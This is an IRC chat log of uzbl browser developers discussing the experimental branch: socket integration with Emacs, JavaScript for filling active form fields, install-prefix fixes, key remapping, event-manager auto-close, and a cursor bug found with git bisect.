09:57 < dhax> rob__: Oh, that would be nice! Right now, I have the handler set to a Python script which formats the arguments for emacsclient which talks (over a socket) to the main Emacs instance, calling an "ezbl-callback" function, which performs the action.
09:58 < rob__> dhax: yep, you could easily stash that with experimental
09:59 < dhax> whew!!
09:59 < rob__> dhax: also, there is a new CL option '--connect-socket' which connects uzbl (as a client) to an existing server socket, so no need to track socket names
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10:00 < dhax> rob__: score! Wow, I've got to start tracking experimental, it gets all the cool toys!
10:00 < Dieterbe> :)
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10:12 < rob__> dhax: yeah, go for it. i bet this allows some cool emacs integration (like using emacs' eidget to display stuff, etc.)
10:12 < rob__> *widgets
10:14 < dhax> rob__: Absolutely. I was worried about how to get Emacs to communicate with Uzbl, since the current state of the xembed patches for Emacs are such that Emacs doesn't pass any keypresses (except the mouse) to the embedded widget. Being able to directly pass keypresses over a socket will make interaction much easier.
10:16 < rob__> oh, now i see what you mean. well unfortunatelly webkit has no way to pass key presses to html forms. the way it works is more the other way around
10:17 < rob__> like when you hit key 'X' in uzbl it will generate a 'KEY_PRESS X' event
10:17 < rob__> whcih is dispatched over its socket(s)
10:17 < dhax> rob__: Oh, so it is sending info out from Uzbl, but not in?
10:18 < dhax> rob__: and by "info" I mean "keypresses"
10:18 < rob__> well, you can also send info into uzbl. and with some JS magic it should be possible to fill forms as well
10:19 < rob__> uzbl doesn't handle any sort of key presses (bindings) itself anymore, so you could as well catch these in emacs and just send appropiate commands to uzbl
10:20 < dhax> rob__: got it. So the only way to be able to type into textareas or fields would be with some fancy JS stuff? I'm up for that, but I can definitely see it getting ugly fast.
10:21 < rob__> yeah, unfortunatelly as long as webkit does not provide a C level api for that stuff JS is your best option
10:22 < Dieterbe> but they will work on a C dom-api next month :)
10:22 < dhax> rob__: Yuck! Well, it looks like I'll have to start hacking away at that :(
10:22 < rob__> at least we do have a FORM_ACTIVE event that will be sent wheneveryou click a editable html form, could be of use for your purpose
10:23 < dhax> rob__: Yes, that would be helpful. I suppose I could take any keypresses and, based on the most recent FORM_ACTIVE event, put the characters in the correct form element.
10:24 < rob__> yeah, exactly
10:25 < dhax> Dieterbe: Well, the sooner they get their C dom-api done and ready for Uzbl, the better ;)
10:25 < Dieterbe> dhax: amen
10:26 < dhax> then you guys get to deal with figuring out which text area to insert characters to, not me ;)
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10:33 < rob__> dhax: you can figure the exact area pretty easily with document.activeElement
10:35 < dhax> rob__: ah, that's good. I haven't done all that much web programming, so I don't know all the little DOM tricks.
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11:00 < rob__> dhax: when getting FORM_ACTIVE, you could try with something like this:  document.getElementsByName(document.activeElement.name)[0].value = "foo bar"
11:00 < rob__> dhax: just tested and it seems to work pretty well
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11:03 < dhax> rob__: cool, thanks! Why doesn't "document.activeElement" work? It seems like it is more steps than necessary to get the name and then search the elements by name. Does WebKit force you to do something like that?
11:04 < rob__> i'm neither a JS guru, just figured that it works like that pretty well
11:04 < rob__> so if you find an easier way i'd be happy to see it
11:05 < rob__> oh, and indeed it does work!
11:05 < rob__> document.activeElement.value = "bar"
11:06 < dhax> I'm no JS guru either; I just fumble around in the dark until something gets less broken :)
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11:12 < rob__> so you would built a character buffer in emacs and continously update the active element until you get ROOT_ACTIVE or the user hits 'Enter'
11:13 < rob__> this should work
11:13 < rob__> sure enough you'll need to handle backspace (and eventually cursor positioning) yourself
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12:52 < rob__> i think we should use something like this http://omploader.org/vMm1rMw as default status bar and include the scroll-percentage script into our default collection
12:54 < Dieterbe> yeah the scroll-% script should cobe with uzbl-browser
12:54 < Dieterbe> other then that, i don't see much differences with our current statusbar
12:54 < rob__> exactly, it works really well and is even easily customizable
12:55 < rob__> well, i use a spinner and combined the load messages (wait, recv, done) with it and got rid of @NAME
13:00 < Dieterbe> hmm let's see.. for what is @NAME useful.. to know the path to sockets and fifo's.. if it's only that than yes it's not useful to put it in the statusbar
13:01 < Dieterbe> hmm but to identify uzbl windows it's also useful imho
13:04 < rob__> well, only if you have the same site loaded in several windows
13:06 < rob__> also a nice unicode spinner would look pretty cool
13:07 < rob__> right now i'm using an empty and a filled dot, but that's just my preference
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13:30 < keis> hi
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14:19 < Dieterbe> rob__: in case we doubt what will be best, we should probably take the simplest method
14:19 < Dieterbe> i.e. no unicode fancy shizzle
14:22 < keis> what, no unicode :O
14:24 < Dieterbe> hi keis btw
14:25 < keis> 'sup?
14:25 < Dieterbe> soup
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14:32 < ruskie> Dieterbe, well as long as unicode can get used ;)
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14:36 < adisbladis> Has anyone successfully set ther modkey to Control?
14:36 < Masca> Dieterbe: morning. So any news about the hardcoded path?
14:37 < Dieterbe> Masca: nope.
14:38  * Masca waits before upgrading his laptop. =P
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14:47 < Dieterbe> Masca: a solution is quite simple, i just want to wait for mason's opinion
14:49 < Masca> Yeah, no problem. Just wanted to report it to you.
14:49 < Dieterbe> for which i thank you :P
14:49 < Masca> =)
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15:07 < adisbladis> Dieterbe: Could you overlook this? http://www.uzbl.org/bugs/index.php?do=details&task_id=47&project=1&order=id&sort=desc&pagenum=3
15:12 < Dieterbe> adisbladis: that bug has become moot since the new keyhandling in experimental (which will be merged into master soon)
15:12 < adisbladis> Ohh, nice
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15:17 < Dieterbe> go ahead and try experimental it should work fine
15:24 < adisbladis> That would be "git clone ???"
15:24 < adisbladis> Never used git
15:26 < bct> git clone ...; cd uzbl; git checkout experimental
15:32 < Dieterbe> or if you use arch, istall uzbl-experimental-git from AUR
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15:33 < adisbladis> error: pathspec 'experimental' did not match any file(s) known to git.
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15:36 < rob__> adisbladis: origin/experimental
15:39 < bct> oops, sorry.
15:47 < keis> yay, I've got the reconnect stuff working properly now. :D
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15:49 < Dieterbe> reconnewhat?
15:49 < Dieterbe> hi mason-l !
15:49 < keis> to "--connect-socket"-sockets
15:50 < Dieterbe> oh..
15:50 < Dieterbe> what problem are you solving?
15:50 < keis> i.g reconnect to the event manager
15:51 < Dieterbe> did anyone ever had an Em crash? and if/when that will happen, it'll be probably easy to fix as it's just python
15:51 < keis> it happens when you restart it too
15:51 < Dieterbe> not to mention python has a nice exception system
15:51 < Dieterbe> why would you want to restart your EM?
15:52 < keis> to get my new plugin, or the new version..
15:53 < Dieterbe> hmmmmzzz
15:54 < Dieterbe> i thought the EM had a 'reload' command but i can't find it back
15:54 < keis> or if the em crashes, even if it's python it's still going to have bugs
15:55 < Dieterbe> well you can build fancy automatic-crash-recovering systems into everything because it could always happen. the question is: is it justified to do that in a KISS-program
15:56 < Dieterbe> if my browser crashes i don't care i have to restart it
15:56 < Dieterbe> the "reload EM/plugins for [config] updates" is something else, that's something i can relate with
15:57 < keis> well, I guess it would be proportional to how much complexity you are adding to get the crash-recovery-feature
16:03 < Dieterbe> hah. i introduced a funny bug
16:03 < Dieterbe> if you install uzbl-experimental-git from AUR, uzbl-browser will contain:
16:03 < Dieterbe> PREFIX=/tmp/yaourt-tmp-dieter/aur-uzbl-experimental-git/uzbl-experimental-git/pkg/usr
16:04  * Dieterbe puts on his todo
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16:11 < Dieterbe> mason-l: you awake?
16:15 < mason-l> Dieterbe, Just got home from work and I've started removing the hardcoded path in the EM.
16:16 < Dieterbe> oh. hi :)
16:16 < Dieterbe> you rock
16:16 < Dieterbe> which solution will you take? PREFIX substitution like i did in uzbl-browser?
16:18 < mason-l> Yeah but I'm trying to get the sed to play nice.
16:19 < Dieterbe> i just noticed there is a problem with that approach.  if you use packaging tools (such as makepkg on arch), your prefix is not /usr but <packagedir>/usr
16:20 < mason-l> rob__, Is it possible without js to determine the scroll percentage?
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16:21 < Dieterbe> how is this handled in software that gets compiled? eg C/C++ programs? are prefixes hardwired there or is the dynamic link system enough?
16:30 < mason-l> Dieterbe, So should I use the sed approach for now or wait?
16:30 < mason-l> Because I got it working on my system.
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16:33 < Dieterbe> ugh
16:36 < bct> this might amuse you guys: http://tomayko.com/linkings/f7f0ecac90a70ed20f39da6615030367
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16:43 < Dieterbe> mason_l: well i like the solution because it's simple. but it just doesn't work when using packaging tools. unless we introduce another variable (such as packagedirectory, without the prefix)
16:44 < Dieterbe> which i guess is what we'll do, unless there is a better way
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16:58 < mason-l> http://i.imgur.com/prFIq.jpg CSI is light-years ahead of my local police dept.
16:59 < mason-l> <mason-l> Dieterbe, So should I use the sed approach for now or wait?
16:59 < mason-l> <mason-l> Because I got it working on my system.
17:00 < Dieterbe> "working" as in, it works when you do `PREFIX=/usr make install` or something like that
17:01 < mason-l> Yeah.
17:03 < Dieterbe> well, it won't work when you do `PREFIX=packagingdirectory/usr make install` and then use a package manager to take all contents from packagingdirectory and put them in /
17:03 < Dieterbe> but, i think an easy solution would be something like : PREFIX=packagingdirectory/usr PKGDIR=packagingdirectory make install
17:03 < Dieterbe> then in the makefile, we strip the PKGDIR part from the prefix
17:04 < Dieterbe> and we set the output of that as prefix in uzbl_browser and event_manager
17:04 < mason-l> Well if you know how to set that up do you want me to commit the changes on my end so you can fix the makefile up?
17:05 < ruskie> packagingdirectory/usr <-- nhould actually be $DISTDIR/usr and default no blank
17:06 < ruskie> or to be precise $DISTDIR/$PREFIX
17:06 < ruskie> or is it DESTDIR
17:06 < ruskie> iirc DESTDIR even
17:08 < Dieterbe> oh even better, i forgot about that var
17:09 < ruskie> I deal with many different build systems so I tend to remember such things
17:09 < Dieterbe> so we should strip the DESTDIR part away from PREFIX and use that in our substutitions
17:09 < ruskie> I als curse most of them
17:09 < ruskie> from a user point of view
17:15 < Dieterbe> don't worry mason-l if you don't fix it now i'll do it now+2hours
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17:39 < lich> becau'se you'd scroll everytime you hit space while accidentally in cmd mode
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17:41 < yitz_> That'd be good. It is how most browsers work...
17:41  * yitz_ can't find a man page
17:43 < Dieterbe> you know if you want it to behave like that, you can make it so, right
17:43 < lich> yitz_: uzbl is not like most browsers
17:43 < modnaru> I tried binding space on experimental, but there are a few bugs.
17:45 < yitz_> Seems there is no concept of a 'screen' with scroll. The example configs all use a hard coded vert scroll amount
17:46 < lich> but the good thing is that you can edit EVERYTHING :)
17:47 < lich> also, my tab borders in yet?
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17:48 < yitz_> Can I bind Shift-Space somehow?
17:49 < rob__> back.
17:50 < rob__> yitz_: re. the scroll thing, you can use 'scroll_vert 100%' which translates to scroll pagewise
17:50 < yitz_> Ah. Neat. Thanks
17:50 < Dieterbe> and we still have a pending merge request for scroll related patches
17:50 < Dieterbe> though i got very little feedback on them :(
17:52 < sECuRE> which libwebkit-version do i need for compiling uzbl/experimental?
17:52 < sECuRE> i just installed 1.1.15.2-1, but still get problems with WebKitHitTestResult
17:53 < rob__> sECuRE: that one should work
17:53 < yitz_> 1.1.15.2-1 is working for me
17:53 < rob__> sECuRE: check if you don't have an older version around
17:53 < Dieterbe> same here
17:54 < sECuRE> nevermind, one should use the correct -dev version ;)
17:59 < rob__> mason_l: can you make it so, that Shift is only ignored for "one letter" keypress events?
18:00 < mason_l> rob__, How about I allow the shift key only when the keycmd is null.
18:01 < mason_l> But then again... theres the modcmd to think about now as well.
18:02 < rob__> right, things are starting to become complex
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18:02 < mason_l> Thats the price we pay for complete customisablity.
18:03 < sECuRE> mh, i cannot enter an URL starting with p after pressing o
18:03 < mason_l> sECuRE, Update your version.
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18:04 < sECuRE> i am at 537a7f18ceb3d13ba07f56246ecd867e8fa5002d
18:04 < yitz_> Eh? Seems the config is very sensitive. I added two spaces between scroll_vert and the amount and it broke that line. Only a single space is allowed
18:05 < sECuRE> mason-l: 537a7f seems to be the latest experimental. or am i wrong?
18:05 < bct> yitz, yes. a real parser (or at least more consistent parsing) is needed.
18:05 < bct> it just splits on spaces.
18:06 < yitz_> It should split on ' +'
18:06 < bct> yup.
18:06 < bct> or split on a space and then strip extra ones.
18:06 < yitz_> Is it using flex?
18:06 < yitz_> Or a hand written parser?
18:06 < mason-l> sECuRE, Maybe Dieterbe hasn't pulled the fix. Grab my experimental repo at git://github.com/mason-larobina/uzbl.git
18:06 < bct> it's using g_str_split (or whatever it's called).
18:06 < yitz_> glib?
18:06 < bct> i don't know if it can really be called a parser.
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18:07 < bct> yup.
18:07 < yitz_> g_strsplit()
18:08 < sECuRE> mason-l: doesn’t work either. i am now at 341ce1071948ebd97bf2172f65e95e545627d96b
18:08 < bct> yup. works well when you can do something like [x.strip() for x in str.split(' ')]
18:08 < bct> but doing that in C is a lot messier.
18:08 < mason-l> sECuRE, Have you made sure that no plugins or scripts are accidentally being loaded from $XDG_DATA_HOME/uzbl/{plugins,scripts}/
18:09 < mason-l> sECuRE, Because an old version of a script could be lurking in there.
18:09 < sECuRE> mason-l: these folders don’t even exist
18:09 < sECuRE> i only copied the example config of the experimental branch
18:09 < mason-l> sECuRE, To make sure run: make test-dev-browser inside the git uzbl folder and see if the problem is in there.
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18:10 < sECuRE> mason-l: it does not happen when doing that
18:10 < sECuRE> maybe the configuration of experimental needs to be modified?
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18:10 < yitz_> Erm. No fun... I don't see a useful glib str function for dealing with this
18:10 < mason-l> sECuRE, I would re-copy the config over.
18:11 < yitz_> It should be simple to write a function that does in-place compression of multiple whitespace chars to a single space
18:11 < sECuRE> mason-l: just tried that, still doesn’t work
18:11 < yitz_> Probably using g_ascii_isspace
18:12 < mason-l> sECuRE, So ~/.local/share/uzbl/ doesn't exist?
18:12 < sECuRE> it does exist, containing cookies.txt and history
18:12 < mason-l> Ok.
18:13 < mason-l> Next step. Open a new terminal window and run: event_manager.py -nv restart
18:13 < mason-l> then start uzbl-browser
18:13 < mason-l> Replicate problem then pastebin the event manager output and I'll have a look.
18:13 < bct> yitz_: can't just apply it to the whole line though because there might be legitimate reasons for the user to put multiple spaces in.
18:14 < bct> if you've got a script in /tmp/a\ \ dumb\ \ directory e.g.
18:15 < sECuRE> mason-l: the restart of event_manager seems to have fixed it
18:15 < mason-l> sECuRE, Thats something I need to automate!
18:16 < sECuRE> hrm, using some kind of key combination, i can get uzbl totally stuck for some seconds
18:16 < mason-l> sECuRE, What combo?
18:17 < mason-l> sECuRE, If you can replicate it while running `make test-dev-browser` then pastebin the output for us.
18:17 < sECuRE> currently trying to figure it out
18:18 < sECuRE> seems to happen only in uzbl-tabbed
18:18 < mason-l> uzbl-tabbed .. in experimental?
18:18 < bct> maybe the simplest solution is to use glib's regex support for parsing.
18:18 < mason-l> sECuRE, Thats not working yet.
18:18 < sECuRE> that might explain the problems, then ;)
18:19 < rob__> bct: yeah, that was what my parser used back then
18:19 < sECuRE> alright. but good work on the command stuff. feels a lot better now than in -master
18:19 < rob__> bct: but for some (strange) reasons people didn't like regexes..
18:19 < sECuRE> also the loading process looks much better (in the status bar)
18:19 < mason-l> rob__, I loooovvveeee regexes.
18:20 < rob__> yeah, glib even has the ability to pre-compile regexes
18:20 < mason-l> sECuRE, The progress bar is also completely configurable (check out the spinnners!)
18:20 < sECuRE> is it known that there is no blinking cursor when focusing text fields? or should i open a ticket for that?
18:20 < rob__> so the speed penalty is marginal
18:20 < mason-l> sECuRE, Its known.
18:20 < bct> that's silly, it's not even like they would need to be complex regexes.
18:20 < sECuRE> ok
18:20 < mason-l> sECuRE, Ticket wouldn't hurt if there isn't one though.
18:20 < mason-l> rob__, Are you working on that?
18:20 < bct> glibs api might be horrible though.
18:21 < rob__> on what?
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18:21 < mason-l> rob__, Missing cursor in input fields.
18:21 < sECuRE> a search for cursor does not bring up anything
18:21 < rob__> well, i noticed it and have no idea what my cause it
18:22 < rob__> i tried uncommenting all hittest code but it doesn'z make a difference
18:22 < yitz_> bct: Good point. That does make this much harder
18:22 < bct> i guess the other option is full-on flex/bison. not sure how i feel about that.
18:22 < sECuRE> ✔ ticket created
18:23 < rob__> bct: yeah, indeed. anyways, the regex parser should be still accessible through git
18:23 < rob__> would certaily need some re-work
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18:55 < JasonWoof> are there any mail clients like uzbl? (quick, graphical, scriptable)
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18:58 < bct> is graphical really a requirement?
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19:01 < Dieterbe> JasonWoof: afraid not. :( claws-mail is a very configurable client, but still not anything close to uzbl-like (i.e. you cannot have different keyboard bindings on a per-folder/account basis, which is one of the many things i want)
19:01 < sECuRE> i would recommend sup-mail
19:01 < sECuRE> http://sup.rubyforge.org/
19:02 < JasonWoof> Dieterbe: thanks, I'll check it out
19:03 < Dieterbe> JasonWoof: i want to emphasize the "not anything close to uzbl-like" part
19:03 < JasonWoof> sECuRE: does sup display messages graphically? unfortunately I need to see colors and bold and such in e-mails from clients
19:04 < sECuRE> JasonWoof: no, only if you run a browser on the HTML part of the mail (which you can do) or run it through w3m or similar (which you can do aswell)
19:04 < bct> you could always pre-process it to display colours in other ways
19:04 < Dieterbe> same here. i actually *like* the ability to display html mail. sometimes i get newsletters and stuff marked up in html so i want to be able to read those
19:04 < bct> e.g. ANSI or *bold* or whatever
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19:04 < JasonWoof> Dieterbe: heh :) not much is. I agree with much of the mutt motto "all mail clients suck"
19:04 < bct> Dieterbe, lynx -dump isn't good enough for you?
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19:05 < JasonWoof> bct: it'd be good enough for me if my clients would stop responding to my e-mails by inserting their answers in the middle of my sentences
19:05 < bct> you could always use an external viewer too, just pipe the message to uzbl
19:05 < JasonWoof> (without linebreaks or anything, but they mark it with color or bold usually)
19:06 < bct> yuck.
19:06 < JasonWoof> yeah
19:06 < bct> how did email's social protocols get so broken :(
19:06 < JasonWoof> I long for the good old days when e-mail was ascii
19:06 < sECuRE> teach them how to quote, then
19:06 < bct> i think it's a lot cause
19:06 < bct> even people who should know better top-post these days :(
19:07 < bct> just goes to show that the defaults in a popular piece of software can completely change the way people do things.
19:07 < Dieterbe> so true, bct! 
19:07 < Dieterbe> >> even people who should know better top-post these days :(
19:07 < Fatal> I want to force everyone at the office over to use wave once that's publically available
19:08 < Fatal> I hate getting a quoted essay with the only addition "I agree"
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19:09 < Fatal> throw a couple of top posters into the mix and a normal discussion requires a degree in forensics to try and read
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19:10 < bct> i also blame crappy email clients for the decline of properly threaded discussion on the net, but that's a different story...
19:10 < bct> we've actually gone backwards since usenet, how sad is that.
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19:16 < JasonWoof> yeah, I'm somewhat hopeful that google wave will improved things
19:16 < bct> and twitter is even worse than your standard forum or list of blog comments in that regard :(
19:17 < bct> yeah, the only solution is to get a new protocol and try to piggyback a social protocol on top of that
19:19 < JasonWoof> claws-mail doesn't seem to support maildir/ how odd
19:23 < mason-l> Top-posting is a tick I didn't realise I had.
19:23 < anydot> twitter is also not made for discussion in the first place.
19:24 < bct> people use it for it.
19:24 < bct> (twitter's not actually made for anything except making people in silicon valley feel special, but that's beside the point)
19:25 < bct> i'm going to shut up now because i'm ranting. sorry.
19:26 < mason-l> rabble rabble rabble.
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19:33 < rob__> hrrm, i can't find what introduced this silly pointer issue
19:33 < rob__> odd  :(
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19:33 < mason-l> rob__, Ever used git bisect?
19:34 < rob__> nope
19:34 < mason-l> Perfect tool for the job
19:34 < bct> bisect is fun.
19:34 < mason-l> Google for a tutorial and run through it (full disclosure: I know its the tool for the job but I've never done it).
19:35 < bct> it's one of those things that i don't use often enough to remember how to use it.
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20:02 < Dieterbe> mason-l: you want me to pull your latest exp into mine?
20:03 < mason-l> Dieterbe, What do I do about that hardcoded path?
20:05 < Dieterbe> i could fix it if you want
20:05 < Dieterbe> that's about as fast as explaining how to fix it i think
20:07 < mason-l> I've done a partial on my end and pushed my latest head.
20:07 < Dieterbe> ruskie: PREFIX?=$(DESTDIR)/usr/local
20:08 < Dieterbe> do you think we should make PREFIX the '/usr/local' part? and then actually install in $(DESTDIR)$(PREFIX) ?
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20:12 < mason-l> Dieterbe, Pull away, I've got some nice goodies in my branch.
20:12 < Dieterbe> i already pushed to GH
20:12 < mason-l> Nice.
20:12 < Dieterbe> just their stupid bot doesn't always come and announce it :/
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20:13 < mason-l> Dieterbe, Its only huma.. oh wait.
20:13 < Dieterbe> :P
20:14 < Dieterbe> what's up with this modmap thing? it doesn't have to do anything with modkeys like in Xorg right? it just maps complicated names to simple names?
20:14 < mason-l> Dieterbe, Yeah.
20:14 < mason-l> But beyond that it allows you to do a lot of crazy stuff too like reverse the BackSpace and Delete keys or re-map Escape as the letter g.
20:15 < Dieterbe> does this give me the ability to use arbitary keys like 'a' as "modkeys" ? without negative sideeffects?
20:16 < mason-l> HUGE sideeffects. You can re-map 'a' as a modkey but then you will no longer have an 'a' key :)
20:17 < Dieterbe> okay, what about capslock then?
20:17 < mason-l> Yeah, anything.
20:17 < Dieterbe> interesting
20:17 < mason-l> As long as it raises a KEY_PRESS you can modify the key name.
20:19 < mason-l> You can even turn Control_R into a custom modkey so that you can use them as two different keys.
20:19 < mason-l> in binds.
20:19 < bct> why not just remap it in X?
20:20 < mason-l> bct, Because this is mainly used to make those horrible <ISO_Shift_Tab> into <Shift-Tab>.
20:20 < Dieterbe> in contrast to many other people, i actually like/use the caps lock key frequently for various things (look at this channel, i even used it 20 lines above ;-)
20:20 < mason-l> or <Control> into <^C>
20:20 < bct> ah.
20:25 < mason-l> I'm doing this myself: <Escape> -> <Esc>, <BackSpace> -> <BS>, <Delete> -> <Del>, ... and then I use those <Esc>, <Del>, .. in my bind commands.
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20:27 < bct> couldn't the same thing be accomplished by defining @Esc, @BS, etc. ?
20:27 < mason-l> No because we need a way to selectively ignore all <ISO_*> modkeys.
20:29 < Dieterbe> i don't understand
20:31 < mason-l> You can still respond to an <ISO_*> press by renaming the key (like <ISO_Shift_Tab> -> <Shift-Tab>) but otherwise those keys need to be ignored because they wreak havoc with non-english uzbl users.
20:31 < mason-l> rob__ knows about this personally.
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20:33 < Dieterbe> ok
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20:41 < github> uzbl: Dieter Plaetinck experimental SHA1-b10cc78
20:41 < github> make `make install` also set the correct prefix when building in a temporary packaging directory
20:41 < github> http://bit.ly/Y2K0I
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20:45 < Dieterbe> okay, so now you just make it like this:
20:45 < Dieterbe> make DESTDIR=$pkgdir PREFIX=/usr install
21:06 < mason-l> Dieterbe, Can you test & pull my latest EM change.
21:07 < mason-l> I've added the --auto-close option which automatically closes the EM after its finished serving one or many uzbl instances.
21:08 < mason-l> So you just need to close all uzbl windows to automatically restart the em.
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21:15 < Dieterbe> k
21:18 < modnaru> Mapping in X is different from this... I have a modmap to bind capslock to ctrl, but uzbl still thinks it's Caps_Lock... thanks to this change my config size has decreased.
21:21 < mason-l> modnaru, If you want a 'true' modmap of the caps-lock key you will need to use xmodmap. This simple modmapping doesn't stop the system registering a capslock press.
21:21 < modnaru> mason-l: But I did xmodmap.
21:21 < mason-l> modnaru, So what is the matter still?
21:22 < modnaru> mason-l: Nothing now.
21:22 < mason-l> Nice :)
21:22 < modnaru> mason-l: Yeah, I wrestled with your experimental yesterday... turns out I didn't restart EM although I'm pretty sure I did.
21:23 < mason-l> modnaru, Those kind of persistent EM problems are solved with the new --auto-close option.
21:23 < modnaru> mason-l: Okay, will take a look later.
21:24 < mason-l> And thanks for reminding of the problem.
21:25 < modnaru> There's a problem?
21:26 < mason-l> Yeah the confusing "I've updated the EM but its still not working for me!" problem because the old EM is still running.
21:27 < Dieterbe> mason-l: naughty naughty naughty
21:27 < mason-l> Dieterbe, What did I do this time :)
21:27 < Dieterbe> why did you commit:
21:27 < Dieterbe> -  XDG_DATA_HOME=./examples/data   XDG_CACHE_HOME=./examples/cache   XDG_CONFIG_HOME=./examples/config   PATH="`pwd`:$$PATH:`pwd`/examples/data/uzbl/scripts/" ./uzbl-browser --uri http://www.uzbl.org --verbose
21:27 < Dieterbe> 0
21:27 < Dieterbe> +  XDG_DATA_HOME=./examples/data   XDG_CACHE_HOME=./examples/cache   XDG_CONFIG_HOME=./examples/config   PATH="`pwd`:`pwd`/examples/data/uzbl/scripts/:$$PATH" ./uzbl-browser --uri http://www.uzbl.org --verbose
21:27 < Dieterbe> 0
21:27 < Dieterbe>   with message 'Added --auto-close option to the event manager.' ?
21:28 < mason-l> That accidentally got pulled in.
21:28 < Dieterbe> so.. what?
21:28 < Dieterbe> that change should never become official or what?
21:28 < mason-l> But it fixes the problem of accidentally calling the real event_manager.py instead of the event manager in the ./examples/data/uzbl/scripts/ folder.
21:28 < mason-l> Yes its a real fix.
21:29 < mason-l> From uzbl-browser
21:29 < Dieterbe> k
21:31 < Dieterbe> jep the EM goes away when the last uzbl-browser instance stops
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21:31 < Dieterbe> pushed
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21:32 < github> uzbl: Mason Larobina experimental SHA1-a20a442
21:32 < github> Added --auto-close option to the event manager.
21:32 < github> http://bit.ly/nPypn
21:32 < mason-l> Nice, thanks.
21:32 < github> uzbl: Mason Larobina experimental SHA1-a1a97f0
21:32 < github> Auto close event manager in uzbl-browser by default.
21:32 < github> http://bit.ly/2qDj8v
21:32 < github> uzbl: Mason Larobina experimental SHA1-7dd0b2b
21:32 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into experimental
21:32 < github> http://bit.ly/3EZ6G3
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21:49 < Masca> nice! =)
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23:37 < axionix> hmm, i can't login to the arch wiki with uzbl
23:37 < rob__> mason-l: git bisect is truly awesome, managed to find the bug with it :)
23:38 < axionix> Login error You have not specified a valid user name.
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23:58 < lithis> I was able to log in to the wiki with uzbl last night, but I wasn’t able to upload pictures--uzbl would crash.
23:59 < lithis> Wait, nevermind. I logged into the uzbl wiki. I didn’t see the “Arch” there.
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00:13 < github> uzbl: Brendan Taylor experimental SHA1-4d8df4f
00:13 < github> fix tests (decimal separator and unset scbar_v)
00:13 < github> http://bit.ly/m5ipj
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01:44 < rob__> hmm, we could make some crazy stuff with the dynzoom script
01:44 < rob__> like in a layout like this http://omploader.org/vMm1xag
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01:44 < rob__> when there are multiple tabs/windows open and the contents cannot be (suto)shriked any further
01:45 < rob__> we could simply write the site name and a link to it into the window (via inject_html)
01:46 < rob__> this would scale pretty well with lots of open windows
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01:50 < bct> so did anybody ever figure out what "Gtk-WARNING **: Ran out of links
01:50 < bct> means?
01:50 < rob__> don't think so
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02:08 < JasonWoof> love uzbl!
02:09 < JasonWoof> I made a binging, so I can hit "you" on a youtube page, and it'll pass the url to a handy script I have that calls youtube-dl in the background, and tells you to press enter when it starts downloading
02:09 < JasonWoof> when you do it plays fullscreen in mplayer
02:09 < JasonWoof> when mplayer quits it asks you if you want to keep the video or not
02:10 < JasonWoof> if no it kills the download (if it's still going)
02:10 < JasonWoof> either way it closes the terminal window and you're back to uzbl
02:10 < JasonWoof> so much better than before uzbl when I had to select the url with the mouse, open a terminal and run "you" from there
02:10 < JasonWoof> now in uzbl I don't even have to wait for the youtube page to load
02:11 < JasonWoof> seems I can hit "you" as soon as I hit a link to a youtube page
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02:22 < rob__> JasonWoof: nice. it's true, you can tweak and extend quite a lot in uzbl ;)
02:24 < JasonWoof> yeah, I just fiddled with the follow_Numbers.js thing a little more
02:24 < JasonWoof> kinda addictive
02:25 < JasonWoof> now I have it set up so if I hit L as the first letter passed to follow_Numbers.js it'll renumber everything so it only uses keys easily reachable with my right hand :)
02:25 < JasonWoof> I also bound the L key to launch follow_Numbers.js
02:26 < rob__> i see
02:26 < JasonWoof> so for one-handed browsing I can just hit L twice
02:26 < rob__> what branch are you using?
02:26 < JasonWoof> master
02:26 < JasonWoof> should I be on experimental?
02:27 < JasonWoof> last time I pulled there wasn't anything new on master
02:27 < JasonWoof> think it had been at least a week
02:27 < rob__> well, it offers even more things to tweak and will become master shortly
02:27 < JasonWoof> fun
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02:28 < JasonWoof> did I ever send in my patch so you can: set geometry = maximized
02:29 < rob__> hmm, can't recall
02:29 < JasonWoof> so it seems development happens on experimental?
02:29 < rob__> yeah, exactly
02:30 < JasonWoof> so if I'm submitting patches I should hack on experimental, and send patches (or merge requests) against that?
02:30 < rob__> yes!
02:30 < JasonWoof> what's the preferred way of sending in changes? merge request on github?
02:32 < rob__> well, sending a mail will the title "Pull request: title" to the ML is the preferred way
02:33 < rob__> then people get a change to discuss it
02:33 < rob__> *chance
02:34 < JasonWoof> ok
02:35 < rob__> JasonWoof: http://www.uzbl.org/contribute.php
02:37 < rob__> JasonWoof: oh, one more thing. run 'make tests' and see if each test passes after you've done your changes
02:38 < JasonWoof> ahh, well documented. very nice
02:38 < JasonWoof> I've gotten a few segfaults when I do !reload, but I doubt that's because of my code
02:39 < JasonWoof> hopefully I'll figure out how to reproduce that
02:40 < rob__> on master?
02:40 < JasonWoof> master plus my patch to add geometry=maximized
02:40 < rob__> checkout experimental, for me it works flawlessly with it
02:41 < rob__> you'll also get way more powerful key bindings and some other goodies
02:42 < JasonWoof> yeah, I heard there was support for non-printing keys
02:42 < rob__> that as well
02:43 < JasonWoof> haven't wanted that yet (beyond a few control sequences which currently work) but I'm sure I will
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02:45 < JasonWoof> well, I'll have to checkout experimental. gotta take a break from hacking now though and get some work done
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04:28 < mason-l> <rob__> mason-l: git bisect is truly awesome, managed to find the bug with it :)
04:28 < mason-l> Awesome news.
04:29 < mason-l> And what a difficult bug to find also: http://github.com/Dieterbe/uzbl/commit/9fd31dd90cce684ca91e97137d902806af1f59f9
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06:11 < modnaru> mason-l: auto-close works like a charm.
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07:04 < ruskie> Dieterbe, [20:07:33] <Dieterbe> ruskie: PREFIX?=$(DESTDIR)/usr/local <-- prefix is just /usr/local DESTDIR should be defined separately and then merged in like INSTALLDIR=$(DESTDIR)/$(PREFIX)
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09:11 < Dieterbe> ruskie: hah. perfect. that's exactly how i did it
09:11 < Dieterbe> mason-l> And what a difficult bug to find also: http://github.com/Dieterbe/uzbl/commit/9fd31dd90cce684ca91e97137d902806af1f59f9 <-- heh?
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09:15 < mason-l> Dieterbe, It was, its always the simple things that are the hardest to identify.
09:16 < mason-l> Who would have thought that was causing the cursor to disappear.
09:16 < Dieterbe> yeah. you have to dive into/debug 200 lines of code and in the end you can fix everything with one or two lines ;)
09:17 < mason-l> Dieterbe, It was rob and git bisect that saved the day.
09:18 < Dieterbe> now we just need uzbl-tabbed fixed and we can make a few hundred people happy :)
09:18 < Dieterbe> or unhappy, because they'll need to port their configs again :P
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10:11 < rob__> morning.
10:12 < lich> hey
10:14 < Dieterbe> hideliho
